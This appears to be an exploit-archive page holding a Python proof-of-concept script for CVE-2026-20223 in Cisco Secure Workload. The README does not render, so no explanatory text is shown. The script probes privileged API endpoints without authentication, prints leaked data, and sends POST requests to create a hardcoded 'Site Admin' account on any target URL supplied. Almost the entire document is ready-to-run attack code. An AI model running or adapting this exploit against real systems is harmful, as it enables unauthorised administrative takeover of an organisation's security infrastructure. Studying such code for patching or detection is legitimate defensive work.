5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-20223-poc.py PY
import requests
import json
import urllib3
import logging
import sys
import argparse
from urllib.parse import urljoin
from datetime import datetime

# Disable SSL warnings for lab environments
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSecureWorkloadPoC:
    def __init__(self, target_url, log_file=None):
        self.target = target_url.rstrip('/')
        self.logger = self._setup_logging(log_file)
        
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (compatible; PoC-CVE-2026-20223)',
            'Content-Type': 'application/json'
        })

    def _setup_logging(self, log_file=None):
        logger = logging.getLogger('CVE-2026-20223')
        logger.setLevel(logging.INFO)

        # Console handler
        console_handler = logging.StreamHandler(sys.stdout)
        console_handler.setLevel(logging.INFO)
        console_format = logging.Formatter('[%(levelname)s] %(message)s')
        console_handler.setFormatter(console_format)

        # File handler (optional)
        if log_file:
            file_handler = logging.FileHandler(log_file)
            file_handler.setLevel(logging.DEBUG)
            file_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
            file_handler.setFormatter(file_format)
            logger.addHandler(file_handler)

        logger.addHandler(console_handler)
        return logger

    def test_unauth_site_admin_access(self):
        """Test direct access to privileged internal APIs"""
        endpoints = [
            "/api/v1/users",
            "/api/v1/roles",
            "/api/v1/sites",
            "/api/v1/admin/users",
            "/api/v1/internal/agents",
            "/api/v1/scopes",
            "/api/v1/policies",
            "/api/v1/system/info",
        ]

        self.logger.info(f"Starting CVE-2026-20223 vulnerability test against: {self.target}")
        self.logger.info(f"Test started at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")

        vulnerable_endpoints = []

        for endpoint in endpoints:
            url = urljoin(self.target, endpoint)
            try:
                # GET Request
                self.logger.debug(f"Testing GET {endpoint}")
                resp = self.session.get(url, timeout=12)

                status = resp.status_code
                self.logger.info(f"GET  {endpoint:40} → {status}", extra={'status': status})

                if status in [200, 201, 204]:
                    self.logger.warning(f"✅ VULNERABLE: {endpoint} returned {status} without authentication!")
                    vulnerable_endpoints.append(endpoint)
                    
                    try:
                        if resp.text and len(resp.text) < 800:
                            preview = resp.text[:300].replace('\n', ' ')
                            self.logger.info(f"    Preview: {preview}...")
                    except:
                        pass

                elif status == 401:
                    self.logger.info(f"🔒 {endpoint} requires authentication (likely patched)")
                elif status == 403:
                    self.logger.info(f"🚫 {endpoint} returned Forbidden")
                else:
                    self.logger.info(f"   {endpoint} returned unexpected status: {status}")

                # Try POST if GET was successful
                if status in [200, 201, 204]:
                    self._test_post(endpoint, url)

            except requests.exceptions.Timeout:
                self.logger.error(f"⏱️ Timeout while accessing {endpoint}")
            except requests.exceptions.ConnectionError:
                self.logger.error(f"❌ Connection refused / unreachable: {endpoint}")
            except requests.exceptions.RequestException as e:
                self.logger.error(f"❌ Request error on {endpoint}: {str(e)}")
            except Exception as e:
                self.logger.error(f"❌ Unexpected error on {endpoint}: {str(e)}")

        if vulnerable_endpoints:
            self.logger.critical(f"\n🚨 POTENTIALLY VULNERABLE! Found {len(vulnerable_endpoints)} exposed endpoints.")
        else:
            self.logger.info("\n✅ No obvious unauthenticated access detected (may be patched).")

    def _test_post(self, endpoint, url):
        """Test POST request on vulnerable endpoints"""
        try:
            payload = {
                "username": "poc_cve202620223",
                "password": "PocPass123!@#",
                "role": "Site Admin",
                "email": "[email protected]",
                "firstName": "PoC",
                "lastName": "CVE-2026-20223"
            }

            resp = self.session.post(url, json=payload, timeout=10)
            self.logger.info(f"POST {endpoint:40} → {resp.status_code}")

            if resp.status_code in [200, 201]:
                self.logger.critical("🎯 SUCCESS: Able to create Site Admin user via unauthenticated API!")
                try:
                    self.logger.info(json.dumps(resp.json(), indent=2))
                except:
                    self.logger.info(resp.text[:400])
        except Exception as e:
            self.logger.debug(f"POST test failed on {endpoint}: {str(e)}")

    def create_admin_user(self):
        """Attempt to create a new Site Admin user"""
        self.logger.info("\n[+] Attempting to create Site Admin user...")
        
        url = urljoin(self.target, "/api/v1/users")
        payload = {
            "username": "cve202620223_admin",
            "password": "Poc123!@#",
            "role": "Site Admin",
            "email": "[email protected]",
            "firstName": "CVE",
            "lastName": "2026-20223"
        }

        try:
            resp = self.session.post(url, json=payload, timeout=10)
            
            if resp.status_code in [200, 201]:
                self.logger.critical("✅ Successfully created Site Admin user!")
                try:
                    self.logger.info(json.dumps(resp.json(), indent=2))
                except:
                    self.logger.info(resp.text)
            else:
                self.logger.error(f"❌ Failed to create user. Status: {resp.status_code}")
                self.logger.debug(f"Response: {resp.text[:500]}")
        except Exception as e:
            self.logger.error(f"❌ Error creating admin user: {str(e)}")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-20223 PoC - Cisco Secure Workload")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://secure-workload.company.com)")
    parser.add_argument("-l", "--log", help="Log file path (optional)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    poc = CiscoSecureWorkloadPoC(args.target, args.log)
    
    try:
        poc.test_unauth_site_admin_access()
        poc.create_admin_user()
    except KeyboardInterrupt:
        poc.logger.info("\n[!] Test interrupted by user.")
    except Exception as e:
        poc.logger.critical(f"Critical error: {str(e)}")


if __name__ == "__main__":
    main()